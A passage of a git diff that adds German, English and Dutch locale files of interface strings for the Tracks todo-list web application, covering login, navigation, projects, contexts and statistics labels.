nutzen + cas_username_not_found: Sorry, aber es existiert kein Benutzer mit dem CAS-Benutzernamen (%{username}) + cas_create_account: "Wenn du die Anfrage fortsetzen m\xC3\xB6chtest, klicke bitte hier: %{signup_link}" + mobile_use_openid: "\xE2\x80\xA6oder mit einer OpenID anmelden" + account_login: Account-Anmeldung + cas_signup_link: Account beantragen + successful: "Anmeldung erfolgreich. Willkommen zur\xC3\xBCck!" + session_will_not_expire: Sitzung wird nicht ablaufen. + session_time_out: Sitzung abgelaufen. Bitte %{link} + session_will_expire: "Sitzung wird nach %{hours} Stunde(n) der Inaktivit\xC3\xA4t ablaufen." + option_separator: oder, + login_standard: "zur\xC3\xBCck zum Standard-Login" + unsuccessful: Anmeldung war nicht erfolgreich. + log_in_again: Erneut anmelden. + logged_out: Sie wurden von Tracks abgemeldet. + login_with_openid: Mit einer OpenID anmelden + search: + contexts_matching_query: Kontexte entsprechen der Suche + tags_matching_query: Tags entsprechen der Suche + no_results: Die Suche ergab kein Ergebnis. + todos_matching_query: Todos entsprechen der Suche + projects_matching_query: Projekte entsprechen der Suche + notes_matching_query: Notizen entsprechen der Suche diff --git a/config/locales/en.yml b/config/locales/en.yml new file mode 100644 index 00000000..e270b331 --- /dev/null +++ b/config/locales/en.yml @@ -0,0 +1,608 @@ +en: + activerecord: + errors: + models: + project: + attributes: + name: + blank: "project must have a name" + too_long: "project name must be less than 256 characters" + taken: "already exists" + messages: + invalid: "cannot contain the comma (',') character" + attributes: + user: + first_name: "First name" + last_name: "Last name" + todo: + predecessors: "Depends on" + preference: + week_starts: "Week starts on" + show_project_on_todo_done: "Go to project page on todo complete" + refresh: "Refresh interval (in minutes)" + mobile_todos_per_page: "Actions per page (Mobile View)" + sms_email: "From email" + sms_context: "Default email context" + models: + project: + feed_title: "Tracks Projects" + feed_description: "Lists all the projects for %{username}" + preference: + due_styles: ['Due in ___ days', 'Due on _______'] + user: + error_context_not_associated: "Context id %{context} not associated with user id %{user}." + error_project_not_associated: "Project id %{project} not associated with user id %{user}." + todo: + error_date_must_be_future: "must be a date in the future" + common: + update: "Update" + logout: "Logout" + cancel: "Cancel" + ok: "Ok" + project: "Project" + projects: "Projects" + context: "Context" + action: "Action" + actions: "Actions" + server_error: "An error occurred on the server." + contexts: "Contexts" + numbered_step: "Step %{number}" + errors_with_fields: "There were problems with the following fields:" + back: "Back" + create: "Create" + go_back: "Go back" + search: "Search" + none: "None" + description: "Description" + notes: "Notes" + optional: "optional" + ajaxError: 'There was an error retrieving from server' + sort: + sort: "Sort" + alphabetically: "Alphabetically" + alphabetically_title: "Sort projects alphabetically" + alphabetically_confirm: "Are you sure that you want to sort these projects alphabetically? This will replace the existing sort order." + by_task_count: "By number of tasks" + by_task_count_title: "Sort by number of tasks" + by_task_count_title_confirm: "Are you sure that you want to sort these projects by the number of tasks? This will replace the existing sort order." + drag_handle: "DRAG" + contexts: + status_hidden: "Context is hidden" + status_active: "Context is active" + no_actions: "Currently there are no incomplete actions in this context" + context_name: "Context name" + update_status_message: "Name of context was changed" + save_status_message: "Context saved" + last_completed_in_context: "in this context (last %{number})" + add_context: "Add Context" + context_hide: "Hide from front page?" + hide_form: "Hide form" + hide_form_title: "Hide new context form" + show_form: "Create a new context" + show_form_title: "Add a context" + visible_contexts: "Visible contexts" + hidden_contexts: "Hidden contexts" + context_deleted: "Deleted context '%{name}'" + no_contexts_hidden: "Currently there are no hidden contexts" + no_contexts_active: "Currently there are no active contexts" + delete_context: "Delete context" + delete_context_title: "Delete context" + delete_context_confirmation: "Are you sure that you want to delete the context '%{name}'? Be aware that this will also delete all (repeating) actions in this context!" + new_context_pre: "New context '" + new_context_post: "' will be also created. Are you sure?" + edit_context: "Edit context" + data: + import_errors: "Some errors occurred during import" + import_successful: "Import was successful." + feedlist: + legend: "Legend:" + rss_feed: "RSS Feed" + plain_text_feed: "Plain Text Feed" + ical_feed: "iCal feed" + notice_incomplete_only: "Note: All feeds show only actions that have not been marked as done, unless stated otherwise." + last_fixed_number: "Last %{number} actions" + all_actions: "All actions" + actions_due_today: "Actions due today or earlier" + actions_due_next_week: "Actions due in 7 days or earlier" + actions_completed_last_week: "Actions completed in the last 7 days" + all_contexts: "All Contexts" + all_projects: "All Projects" + active_projects_wo_next: "Active projects with no next actions" + active_starred_actions: "All starred, active actions" + projects_and_actions: "Active projects with their actions" + context_centric_actions: "Feeds for incomplete actions in a specific context" + context_needed: "There needs to be at least one context before you can request a feed" + choose_context: "Choose the context you want a feed of" + select_feed_for_context: "Select the feed for this context" + project_centric: "Feeds for incomplete actions in a specific project" + project_needed: "There needs to be at least one project before you can request a feed" + choose_project: "Choose the project you want a feed of" + select_feed_for_project: "Select the feed for this project" + integrations: + opensearch_description: "Search in Tracks" + applescript_next_action_prompt: "Description of next action:" + applescript_success_before_id: "New next action with ID" + applescript_success_after_id: "created" + gmail_description: "Gadget to add Tracks to Gmail as a gadget" + layouts: + toggle_notes: "Toggle notes" + toggle_notes_title: "Toggle all notes" + navigation: + home: "Home" + home_title: "Home" + starred: "Starred" + starred_title: "See your starred actions" + projects_title: "Projects" + tickler: "Tickler" + tickler_title: "Tickler" + organize: "Organize" + contexts_title: "Contexts" + notes_title: "Show all notes" + recurring_todos: "Repeating todos" + recurring_todos_title: "Manage recurring actions" + calendar: "Calendar" + completed_tasks: "Done" + completed_tasks_title: "Completed" + feeds: "Feeds" + feeds_title: "See a list of available feeds" + stats: "Statistics" + stats_title: "See your statistics" + view: "View" + calendar_title: "Calendar of due actions" + preferences: "Preferences" + preferences_title: "Show my preferences" + export_title: "Import and export data" + export: "Export" + manage_users: "Manage users" + manage_users_title: "Add or delete users" + integrations_: "Integrate Tracks" + api_docs: "REST API Docs" + search: "Search All Items" + next_actions_rss_feed: "RSS feed of next actions" + mobile_navigation: + new_action: "0-New action" + home: "1-Home" + contexts: "2-Contexts" + projects: "3-Projects" + starred: "4-Starred" + logout: "Logout" + tickler: "Tickler" + feeds: "Feeds" + login: + successful: "Logged in successfully. Welcome back!" + unsuccessful: "Login unsuccessful." + log_in_again: "log in again." + session_time_out: "Session has timed out. Please %{link}" + logged_out: "You have been logged out of Tracks." + session_will_expire: "session will expire after %{hours} hour(s) of inactivity." + session_will_not_expire: "session will not expire." + successful_with_session_info: "Login successful:" + cas_username_not_found: "Sorry, no user by that CAS username exists (%{username})" + openid_identity_url_not_found: "Sorry, no user by that identity URL exists (%{identity_url})" + account_login: "Account login" + please_login: "Please log in to use Tracks" + user_no_expiry: "Stay logged in" + sign_in: "Sign in" + cas_logged_in_greeting: "Hello, %{username}! You are authenticated." + cas_no_user_found: "Hello, %{username}! You do not have an account on Tracks." + cas_create_account: "If you like to request on please go here to %{signup_link}" + cas_signup_link: "Request account" + cas_login: "CAS Login" + login_with_openid: "login with an OpenID" + login_standard: "go back to the standard login" + login_cas: "go to the CAS" + option_separator: "or," + mobile_use_openid: "…or login with an OpenID" + notes: + note_location_link: "In:" + note_header: "Note %{id}" + note_link_title: "Show note %{id}" + delete_note_title: "Delete this note" + delete_confirmation: "Are you sure that you want to delete the note '%{id}'?" + edit_item_title: "Edit item" + delete_item_title: "Delete item" + show_note_title: "Show note" + deleted_note: "Deleted note '%{id}'" + delete_note_title: "Delete the note '%{id}'" + delete_note_confirm: "Are you sure that you want to delete the note '%{id}'?" + no_notes_available: "Currently there are no notes: add notes to projects from individual project pages." + preferences: + title: "Your preferences" + show_number_completed: "Show %{number} completed items" + staleness_starts_after: "Staleness starts after %{days} days" + sms_context_none: "None" + edit_preferences: "Edit preferences" + token_header: "Your token" + token_description: "Token (for feeds and API use)" + generate_new_token: "Generate a new token" + generate_new_token_confirm: "Are you sure? Generating a new token will replace the existing one and break any external usages of this token." + authentication_header: "Your authentication" + current_authentication_type: "Your authentication type is %{auth_type}" + change_authentication_type: "Change your authentication type" + change_password: "Change your password" + open_id_url: "Your OpenID URL is" + change_identity_url: "Change Your Identity URL" + page_title: "TRACKS::Preferences" + page_title_edit: "TRACKS::Edit Preferences" + projects: + status_project_name_changed: "Name of project was changed" + default_tags_removed_notice: "Removed the default tags" + set_default_tags_notice: "Set project's default tags to %{default_tags}" + default_context_removed: "Removed default context" + default_context_set: "Set project's default context to %{default_context}" + project_saved_status: "Project saved" + no_notes_attached: "Currently there are no notes attached to this project" + add_note: "Add a note" + todos_append: "in this project" + add_note_submit: "Add note" + deferred_actions: "Deferred actions for this project" + deferred_actions_empty: "There are no deferred actions for this project" + completed_actions: "Completed actions for this project" + completed_actions_empty: "There are no completed actions for this project" + notes: "Notes" + notes_empty: "There are no notes for this project" + settings: "Settings" + state: "This project is %{state}" + active_projects: "Active projects" + hidden_projects: "Hidden projects" + completed_projects: "Completed projects" + page_title: "TRACKS::Project: %{project}" + list_projects: "TRACKS::List Projects" + no_default_context: "This project does not have a default context" + default_context: "The default context for this project is %{context}" + project_state: "Project is %{state}." + no_projects: "Currently there are no projects" + hide_form_title: "Hide new project form" + hide_form: "Hide form" + show_form_title: "Create a new project" + show_form: "Add a project" + add_project: "Add Project" + to_new_project_page: "Take me to the new project page" + delete_project_title: "Delete the project" + delete_project_confirmation: "Are you sure that you want to delete the project '%{name}'?" + delete_project: "Delete project" + edit_project_title: "Edit project" + states: + active: "Active" + active_plural: "Active" + completed: "Completed" + completed_plural: "Completed" + hidden: "Hidden" + hidden_plural: "Hidden" + visible: "Visible" + visible_plural: "Visible" + search: + no_results: "Your search yielded no results." + todos_matching_query: "Todos matching query" + projects_matching_query: "Projects matching query" + notes_matching_query: "Notes matching query" + contexts_matching_query: "Contexts matching query" + tags_matching_query: "Tags matching query" + shared: + hide_action_form_title: "Hide new action form" + hide_form: "Hide form" + toggle_multi_title: "Toggle single/multi new action form" + toggle_multi: "Add multiple next actions" + toggle_single: 'Add a next action' + toggle_single_title: 'Add a new next action' + separate_tags_with_commas: "separate with commas" + add_action: "Add action" + multiple_next_actions: "Multiple next actions (one on each line)" + project_for_all_actions: "Project for all actions" + context_for_all_actions: "Context for all actions" + tags_for_all_actions: "Tags for all actions (sep. with commas)" + add_actions: "Add actions" + sidebar: + list_empty: "None" + list_name_active_projects: "Active projects" + list_name_active_contexts: "Active contexts" + list_name_hidden_projects: "Hidden projects" + list_name_completed_projects: "Completed projects" + list_name_hidden_contexts: "Hidden contexts" + stats: + tod30_legend: + time_of_day: "Time of day" + number_of_actions: "Number of actions" + tod30: "Time of day (last 30 days)" + no_actions_selected: "There are no actions selected." + totals: "Totals" + tags: "Tags" + more_stats_will_appear: "More statistics will appear here once you have added some actions." + spread_of_actions_for_all_context: "Spread of actions for all context" + spread_of_running_actions_for_visible_contexts: "Spread of running actions for visible contexts" + current_running_time_of_incomplete_visible_actions: "Current running time of incomplete visible actions" + running_time_legend: + actions: "Actions" + percentage: "Percentage" + weeks: "Running time of an action (weeks). Click on a bar for more info" + time_of_day: "Time of day (all actions)" + time_of_day_legend: + number_of_actions: "Number of actions" + time_of_day: "Time of day" + labels: + created: "Created" + completed: "Completed" + avg_created: "Avg created" + avg_completed: "Avg completed" + month_avg_created: "%{months} Month avg created" + month_avg_completed: "%{months} Month avg completed" + click_to_update_actions: "Click on a bar in the chart to update the actions below." + click_to_return: "Click %{link} to return to the statistics page." + click_to_return_link: "here" + click_to_show_actions_from_week: "Click %{link} to show the actions from week %{week} and further." + running_time_all: "Current running time of all incomplete actions" + running_time_all_legend: + actions: "Actions" + percentage: "Percentage" + running_time: "Running time of an action (weeks). Click on a bar for more info" + actions_last_year: "Actions in the last years" + actions_last_year_legend: + number_of_actions: "Number of actions" + months_ago: "Months ago" + other_actions_label: "(others)" + action_selection_title: "TRACKS::Action selection" + actions_selected_from_week: "Actions selected from week " + actions_further: " and further" + totals_project_count: "You have %{count} projects." + totals_active_project_count: "Of those %{count} are active projects" + totals_hidden_project_count: "%{count} are hidden" + totals_completed_project_count: "and %{count} are completed projects." + totals_context_count: "You have %{count} contexts." + totals_visible_context_count: "Of those %{count} are visible contexts" + totals_hidden_context_count: "and %{count} are hidden contexts." + totals_first_action: "Since your first action on %{date}" + totals_action_count: "you have a total of %{count} actions" + totals_actions_completed: "%{count} of these are completed." + totals_incomplete_actions: "You have %{count} incomplete actions" + totals_deferred_actions: "of which %{count} are deferred actions in the tickler" + totals_blocked_actions: "%{count} are dependent on the completion of their actions." + totals_tag_count: "You have %{count} tags placed on actions." + totals_unique_tags: "Of those tags, %{count} are unique." + actions_avg_completion_time: "Of all your completed actions, the average time to complete is %{count} days." + actions_min_max_completion_days: "The Max-/minimum days to complete is %{min}/%{max}." + actions_min_completion_time: "The minimum time to complete is %{time}." + actions_actions_avg_created_30days: "In the last 30 days you created on average %{count} actions" + actions_avg_completed_30days: "and completed an average of %{count} actions per day." + actions_avg_created: "In the last 12 months you created on average %{count} actions" + actions_avg_completed: "and completed an average of %{count} actions per month." + tag_cloud_title: "Tag cloud for all actions" + tag_cloud_description: "This tag cloud includes tags of all actions (completed, not completed, visible and/or hidden)" + no_tags_available: "no tags available" + tag_cloud_90days_title: "Tag cloud actions in past 90 days" + tag_cloud_90days_description: "This tag cloud includes tags of actions that were created or completed in the past 90 days." + top10_projects: "Top 10 projects" + top10_projects_30days: "Top 10 project in past 30 days" + top10_longrunning: "Top 10 longest running projects" + top5_contexts: "Top 5 contexts" + top5_visible_contexts_with_incomplete_actions: "Top 5 visible contexts with incomplete actions" + actions_30days_title: "Actions in the last 30 days" + actions_lastyear_title: "Actions in the last 12 months" + legend: + number_of_actions: "Number of actions" + months_ago: "Months ago" + number_of_days: "Number of days ago" + day_of_week: "Day of week" + actions: "Actions" + percentage: "Percentage" + running_time: "Running time of an action (weeks)" + actions_day_of_week_title: "Day of week (all actions)" + actions_dow_30days_title: "Day of week (past 30 days)" + action_completion_time_title: "Completion time (all completed actions)" + todos: + action_saved: "Action saved" + recurring_action_saved: "Recurring action saved" + action_saved_to_tickler: "Action saved to tickler" + added_new_project: "Added new project" + added_new_context: "Added new context" + error_starring: "Could not toggle the star of this todo \'%{description}\'" + recurrence_completed: "There is no next action after the recurring action you just finished. The recurrence is completed" + tagged_with: "tagged with ‘%{tag_name}’" + no_actions_found: "No actions found" + no_actions_with: "Currently there are no incomplete actions with the tag '%{tag_name}'" + removed_predecessor: "Removed %{successor} as dependency from %{predecessor}." + error_removing_dependency: "There was an error removing the dependency" + deferred_actions_with: "Deferred actions with the tag '%{tag_name}'" + no_deferred_actions_with: "No deferred actions with the tag '%{tag_name}'" + completed_actions_with: "Completed actions with the tag %{tag_name}" + no_completed_actions_with: "No completed actions with the tag '%{tag_name}'" + next_action_description: "Next action description" + new_related_todo_created: "A new todo was added which belongs to this recurring todo" + error_completing_todo: "There was an error completing / activating the recurring todo %{description}" + recurring_todos: "Recurring todos" + no_recurring_todos: "Currently there are no recurring todos" + completed_recurring: "Completed recurring todos" + no_completed_recurring: "Currently there are no completed recurring todos" + add_new_recurring: "Add a new recurring action" + recurring_deleted_success: "The recurring action was deleted succesfully." + error_deleting_recurring: "There was an error deleting the recurring todo \'%{description}\'" + error_starring_recurring: "Could not toggle the star of recurring todo \'%{description}\'" + recurrence_period: "Recurrence period" + action_marked_complete: "The action '%{description}' was marked as %{completed}" + action_marked_complete_error: "The action '%{description}' was NOT marked as %{completed} due to an error on the server." + recurrence: + daily: "Daily" + weekly: "Weekly" + monthly: "Monthly" + yearly: "Yearly" + starts_on: "Starts on" + ends_on: "Ends on" + no_end_date: "No end date" + ends_on_number_times: "Ends after %{number} times" + ends_on_date: "Ends on %{date}" + daily_options: "Settings for daily recurring actions" + daily_every_number_day: "Every %{number} day(s)" + every_work_day: "Every work day" + weekly_options: "Settings for weekly recurring actions" + weekly_every_number_week: "Returns every %{number} week on" + monthly_options: "Settings for monthly recurring actions" + day_x_on_every_x_month: "Day %{day} on every %{month} month" + monthly_every_xth_day: "The %{day} %{day_of_week} of every %{month} month" + yearly_options: "Settings for yearly recurring actions" + yearly_every_x_day: "Every %{month} %{day}" + yearly_every_xth_day: "The %{day} %{day_of_week} of %{month}" + recurrence_on_options: "Set recurrence on" + recurrence_on_due_date: "the date that the todo is due" + show_options: "Show the todo" + show_option_always: "always" + show_days_before: "%{days} days before the todo is due" + from_tickler: "the date todo comes from tickler (no due date set)" + delete_recurring_action_confirm: "Are you sure that you want to delete the recurring action '%{description}'?" + delete_recurring_action_title: "Delete the recurring action" + star_action_with_description: "star the action '%{description}'" + star_action: "Star this action" + delete_action: "Delete action" + edit_action: "Edit action" + edit_action_with_description: "Edit the action '%{description}'" + confirm_delete: "Are you sure that you want to delete the action '%{description}'?" + delete: "Delete" + edit: "Edit" + defer_date_after_due_date: "Defer date is after due date. Please edit and adjust due date before deferring." + convert_to_project: "Make project" + blocked_by: "Blocked by %{predecessors}" + depends_on: "Depends on" + pending: "Pending" + drag_action_title: "Drag onto another action to make it depend on that action" + action_due_on: "(action due on %{date})" + scheduled_overdue: "Scheduled to show %{days} days ago" + show_today: "Show Today" + show_tomorrow: "Show Tomorrow" + show_on_date: "Show on %{date}" + show_in_days: "Show in %{days} days" + defer_x_days: + one: "Defer one day" + other: "Defer %{count} days" + has_x_pending: + one: "Has one pending action" + other: "Has %{count} pending actions" + recurring_actions_title: "TRACKS::Recurring Actions" + next_action_needed: "You need to submit at least one next action" + context_changed: "Context changed to %{name}" + action_deleted_success: "Successfully deleted next action" + action_deleted_error: "Failed to delete the action" + completed_tasks_title: "TRACKS::Completed tasks" + archived_tasks_title: "TRACKS::Archived completed tasks" + deferred_tasks_title: "TRACKS::Tickler" + tagged_page_title: "TRACKS::Tagged with '%{tag_name}'" + calendar_page_title: "TRACKS::Calendar" + next_actions_title: "Tracks - Next Actions" + next_actions_description: "Filter:" + next_actions_title_additions: + due_today: "due today" + due_within_a_week: "due within a week" + completed: "actions completed" + next_actions_description_additions: + due_date: "with a due date %{due_date} or earlier" + completed: "in the last %{count} days" + feed_title_in_context: "in context '%{context}'" + feed_title_in_project: "in project '%{project}'" + list_incomplete_next_actions_with_limit: "Lists the last %{count} incomplete next actions" + list_incomplete_next_actions: "Lists incomplete next actions" + task_list_title: "TRACKS::List tasks" + mobile_todos_page_title: "All actions" + feeds: + due: "Due: %{date}" + completed: "Completed: %{date}" + deferred_pending_actions: "Deferred/pending actions" + no_deferred_pending_actions: "Currently there are no deferred or pending actions" + completed_actions: "Completed actions" + no_completed_actions: "Currently there are no completed actions." + was_due_on_date: "was due on %{date}" + tags: "Tags (separate with commas)" + clear_due_date: "Clear due date" + show_from: "Show from" + clear_show_from_date: "Clear show from date" + depends_on_separate_with_commas: "Depends on (separate with commas)" + done: "Done?" + no_project: "--No project--" + due: "Due" + hidden_actions: "Hidden actions" + no_hidden_actions: "Currently there are no hidden actions found" + no_incomplete_actions: "There are no incomplete actions" + remove_dependency: "Remove dependency (does not delete the action)" + completed: "Completed" + added_dependency: "Added %{dependency} as dependency." + set_to_pending: "%{task} set to pending" + append_in_this_project: "in this project" + unable_to_add_dependency: "Unable to add dependency" + calendar: + due_today: "Due today" + no_actions_due_today: "No actions due today" + due_this_week: "Due in rest of this week" + due_next_week: "Due next week" + no_actions_due_next_week: "No actions due in next week" + due_this_month: "Due in rest of %{month}" + no_actions_due_this_month: "No actions due in rest of this month" + due_next_month_and_later: "Due in %{month} and later" + no_actions_due_after_this_month: "No actions due after this month" + get_in_ical_format: "Get this calendar in iCal format" + no_actions_due_this_week: "No actions due in rest of this week" + overdue: "Overdue" + tickler_items_due: + one: "One tickler item is now due - refresh the page to see it." + other: "%{count} tickler items are now due - refresh the page to see them." + completed_today: + one: "You have completed one action so far today." + other: "You have completed %{count} actions so far today." + completed_last_day: "Completed in the last 24 hours" + completed_last_x_days: "Completed in last %{count} days" + older_completed_items: "Older completed items" + older_than_days: "Older than %{count} days" + completed_in_archive: + one: "There is one completed action in the archive." + other: "There are %{count} completed actions in the archive." + completed_more_than_x_days_ago: "Completed more than %{count} days ago" + added_new_next_action: "Added new next action" + added_new_next_action_singular: "Added new next action" + added_new_next_action_plural: "Added new next actions" + to_tickler: "to tickler" + in_pending_state: "in pending state" + in_hidden_state: "in hidden state" + recurring_action_deleted: "Action was deleted. Because this action is recurring, a new action was added" + completed_recurrence_completed: "There is no next action after the recurring action you just deleted. The recurrence is completed" + error_deleting_item: "There was an error deleting the item %{description}" + no_deferred_actions: "Currently there are no deferred actions." + users: + change_authentication_type: "Change authentication type" + select_authentication_type: "Select your new authentication type and click 'Change authentication type' to replace your current settings." + label_auth_type: "Authentication type" + identity_url: "Identity URL" + auth_change_submit: "Change authentication type" + change_password_prompt: "Enter your new password in the fields below and click 'Change password' to replace your current password with your new one." + new_password_label: "New password" + password_confirmation_label: "Confirm password" + change_password_submit: "Change password" + destroy_successful: "User %{login} was successfully destroyed" + destroy_error: "There was an error deleting the user %{login}" + total_actions: "Total actions" + total_contexts: "Total contexts" + total_projects: "Total projects" + total_notes: "Total notes" + destroy_user: "Destroy user" + destroy_confirmation: "Warning: this will delete user '%{login}', all their actions, contexts, project and notes. Are you sure that you want to continue?" + signup_new_user: "Sign up new user" + manage_users: "Manage users" + total_users_count: "You have a total of %{count} users" + account_signup: "Account signup" + register_with_cas: "With your CAS username" + desired_login: "Desired login" + choose_password: "Choose password" + confirm_password: "Confirm password" + signup: "Signup" + new_user_title: "TRACKS::Sign up as the admin user" + first_user_heading: "Welcome to TRACKS. To get started, please create an admin account:" + new_user_heading: "Sign up a new user:" + no_signups_title: "TRACKS::No signups" + signup_successful: "Signup successful for user %{username}." + user_created: "User created." + successfully_deleted_user: "Successfully deleted user %{username}" + failed_to_delete_user: "Failed to delete user %{username}" + change_password_title: "TRACKS::Change password" + password_updated: "Password updated." + change_auth_type_title: "TRACKS::Change authentication type" + openid_url_verified: "You have successfully verified %{url} as your identity and set your authentication type to OpenID." + openid_ok_pref_failed: "You have successfully verified %{url} as your identity but there was a problem saving your authentication preferences." + auth_type_updated: "Authentication type updated." + auth_type_update_error: "There was a problem updating your authentication type: %{error_messages}" + new_token_generated: "New token successfully generated" + errors: + user_unauthorized: "401 Unauthorized: Only administrative users are allowed access to this function." diff --git a/config/locales/nl.yml b/config/locales/nl.yml new file mode 100644 index 00000000..c3d8d11f --- /dev/null +++ b/config/locales/nl.yml @@ -0,0 +1,821 @@ +--- +nl: + number: + format: + separator: "," + delimiter: . + human: + storage_units: + format: "%n %u" + units: + kb: KB + tb: TB + gb: GB + byte: + one: Byte + other: Bytes + mb: MB + currency: + format: + format: "%u %n" + unit: !binary | + 4oKs + + separator: "," + delimiter: . + dates: + month_names: + - Januari + - Februari + - Maart + - April + - Mei + - Juni + - Juli + - Augustus + - September + - Oktober + - November + - December + day_names: + - Zondag + - Maandag + - Dinsdag + - Woensdag + - Donderdag + - Vrijdag + - Zaterdag + integrations: + opensearch_description: Zoek in Tracks + gmail_description: Gadget om Tracks toe te voegen aan Gmail als een gadget + applescript_next_action_prompt: "Omschrijving van de actie:" + applescript_success_after_id: gemaakt + applescript_success_before_id: Nieuwe actie met ID + common: + actions: Acties + back: Terug + add: Toevoegen + logout: Log uit + go_back: Ga terug + none: Geen + cancel: Annuleer + optional: optioneel + notes: Notities + server_error: Een fout heeft op de server plaatsgevonden + action: Actie + projects: Projecten + project: Project + ok: Ok + numbered_step: Stap %{number} + context: Context + errors_with_fields: Er waren problemen met de volgende velden + sort: + by_task_count_title: Sorteer op aantal acties + by_task_count_title_confirm: Weet u zeker dat u deze projecten alphabetisch wilt sorteren? Dat zal de huidige sorteervolgorde aanpassen. + alphabetically: Alphabetisch + sort: Sorteer + alphabetically_title: Sorteer projecten alphabetisch + alphabetically_confirm: Weet u zeker dat u deze projecten alphabetisch wilt sorteren? Dat zal de huidige sorteervolgorde aanpassen. + by_task_count: Bij aantal acties + drag_handle: SLEEP + create: Maken + description: Beschrijving + contexts: Contexten + update: Bijwerken + ajaxError: Er is een fout opgetreden bij het ophalen van gegevens van de server + search: Zoeken + layouts: + toggle_notes: Toggle notities + next_actions_rss_feed: RSS-feed van de acties + toggle_notes_title: Toggle alle notities + mobile_navigation: + logout: Afmelden + feeds: Feeds + new_action: 0-Nieuwe actie + starred: 4-Ster + projects: 3-Projecten + tickler: Tickler + contexts: 2-Contexten + home: 1-Start + navigation: + recurring_todos: Terugkerende todos + manage_users_title: Toevoegen of verwijderen gebruikers + api_docs: REST API Docs + feeds: Feeds + notes_title: Toon alle notities + stats: Statistieken + starred: Ster + tickler_title: Tickler + manage_users: Beheren gebruikers + export_title: Import en export van gegevens + integrations_: Integreer Tracks + preferences: Voorkeuren + calendar_title: Kalender met acties met deadline + feeds_title: Zie een lijst met beschikbare feeds + stats_title: Zie je statistieken + home_title: Start + starred_title: Zie je ster acties + recurring_todos_title: Beheren terugkerende acties + tickler: Tickler + completed_tasks: Gereed + view: Bekijk + organize: Organiseer + completed_tasks_title: Afgerond + export: Export + contexts_title: Contexten + home: Start + projects_title: Projecten + preferences_title: Toon mijn voorkeuren + calendar: Agenda + search: Zoeken in alle items + models: + project: + feed_title: Tracks Projecten + feed_description: Een overzicht van alle projecten voor %{username} + todo: + error_date_must_be_future: moet een datum in de toekomst zijn + user: + error_context_not_associated: Context %{context} niet geassocieerd met gebruikers %{user}. + error_project_not_associated: Project %{project} niet geassocieerd met gebruikers %{user}. + preference: + due_styles: + - "Deadline over ____ dagen" + - "Deadline op ____" + data: + import_successful: De import was succesvol + import_errors: Er hebben zich fouten voorgedaan bij de import + activerecord: + attributes: + project: + name: + blank: Het project moet moet een naam hebben + taken: bestaat al + too_long: De naam van het project moet korter zijn dan 256 tekens + default_tags: Standaard Tags + default_context_name: Standaard context + description: Beschrijving + todo: + show_from: Tonen vanaf + predecessors: Is afhankelijk van + notes: Notities + project: Project + context: Context + description: Beschrijving + due: Deadline + user: + last_name: Achternaam + first_name: Voornaam + preference: + sms_context: Standaard context voor email + mobile_todos_per_page: Acties per pagina (mobiel) + refresh: Ververs interval (in minuten) + week_starts: Week start op + show_project_on_todo_done: Ga naar project pagina wanneer actie gereed is + sms_email: Van email + time_zone: Tijdzone + due_style: Deadline stijl + show_completed_projects_in_sidebar: Toon afgeronde projecten in sidebar + show_hidden_projects_in_sidebar: Toon verborgen projecten in sidebar + show_hidden_contexts_in_sidebar: Toon verborgen contexten in sidebar + staleness_starts: Begin van markeren openstaande actie + show_number_completed: Aantal te tonen afgeronde acties + verbose_action_descriptors: Context en project uitschrijven in actielijst + locale: Taal + date_format: Datum formaat + title_date_format: Datum formaat in titel + errors: + messages: + greater_than_or_equal_to: moet groter of gelijk zijn aan %{count} + record_invalid: "Validatie mislukt: %{errors}" + confirmation: komt niet overeen met de configuratie + less_than_or_equal_to: moet kleiner of gelijk zijn aan %{count} + blank: mag niet leeg zijn + exclusion: is gereserveerd + invalid: mag niet een komma (',') karakter bevatten + odd: moet oneven zijn + empty: mag niet leeg zijn + wrong_length: heeft de verkeerde lengte (moet %{count} karakters lang zijn) + even: moet even zijn + too_short: is te kort (minimum is %{count} karakters) + less_than: moet kleiner zijn dan %{count} + equal_to: moet gelijk zijn aan %{count} + greater_than: moet groter zijn dan %{count} + taken: is al gepakt + accepted: moet geaccepteerd worden + too_long: is te lang (maximum is %{count} karakters) + not_a_number: is niet een getal + inclusion: is niet opgenomen in de lijst + models: + project: + attributes: + name: + blank: project moet een naam hebben + taken: bestaat al + too_long: project naam moet minder dan 256 karakters hebben + template: + body: Er waren problemen met de volgende velden + header: + one: 1 fout voorkomt het kunnen bewaren van deze %{model} + other: "%{count} fout voorkomen dat dit %{model} bewaard kan worden" + full_messages: + format: "%{attribute} %{message}" + stats: + totals_active_project_count: Van deze zijn %{count} actieve projecten + tag_cloud_title: Tag Cloud voor alle acties + tag_cloud_description: Deze tag cloud bevat tags van alle acties (afgerond, niet voltooid, zichtbaar en / of verborgen) + tag_cloud_90days_title: Tag cloud met acties in afgelopen 90 dagen + actions_avg_completion_time: Van al uw afgeronde acties, de gemiddelde tijd dat dit in beslag nam is %{count} dagen. + actions_last_year_legend: + number_of_actions: Aantal acties + months_ago: Maanden geleden + totals_first_action: Sinds uw eerste actie op %{date} + actions_dow_30days_title: Dag van de week (laatste 30 dagen) + current_running_time_of_incomplete_visible_actions: Huidige looptijd van onvolledige zichtbare acties + running_time_legend: + actions: Acties + percentage: Percentage + weeks: Looptijd van een actie (weken). Klik op een balk voor meer info + totals_action_count: u heeft een totaal van %{count} acties + totals_deferred_actions: waarvan %{count} uitgestelde acties in de tickler zijn + top10_longrunning: Top 10 langstlopende projecten + legend: + number_of_days: Aantal dagen geleden + actions: Acties + number_of_actions: Aantal acties + day_of_week: Dag van de week + running_time: Looptijd van een actie (weken) + percentage: Percentage + months_ago: Maanden geleden + actions_lastyear_title: Acties in de afgelopen 12 maanden + totals_actions_completed: "%{count} van deze zijn voltooid." + totals_incomplete_actions: U heeft %{count} onvolledige acties + totals_unique_tags: Van deze tags zijn %{count} uniek. + actions_avg_completed_30days: en voltooide een gemiddelde van %{count} acties per dag. + top5_contexts: Top 5 contexten + totals_visible_context_count: Van deze zijn %{count} zichtbare contexten + totals_blocked_actions: "%{count} zijn afhankelijk van de voltooiing van hun acties." + action_completion_time_title: Doorlooptijd (alle voltooide acties) + actions_last_year: Acties in de afgelopen jaren + totals_context_count: U heeft %{count} contexten. + actions_min_completion_time: De minimale tijd tot afronding is %{time}. + no_tags_available: geen tags beschikbaar + actions_day_of_week_title: Dag van de week (alle acties) + totals_project_count: U heeft %{count} projecten. + tags: Tags + actions_min_max_completion_days: De max-/minimum dagen tot voltooiing is %{min}/%{max}. + running_time_all: Huidige looptijd van alle onvolledige acties + totals_tag_count: U heeft %{count} tags geplaatst op acties. + time_of_day: Tijd van de dag (alle acties) + actions_30days_title: Acties in de afgelopen 30 dagen + totals_hidden_project_count: 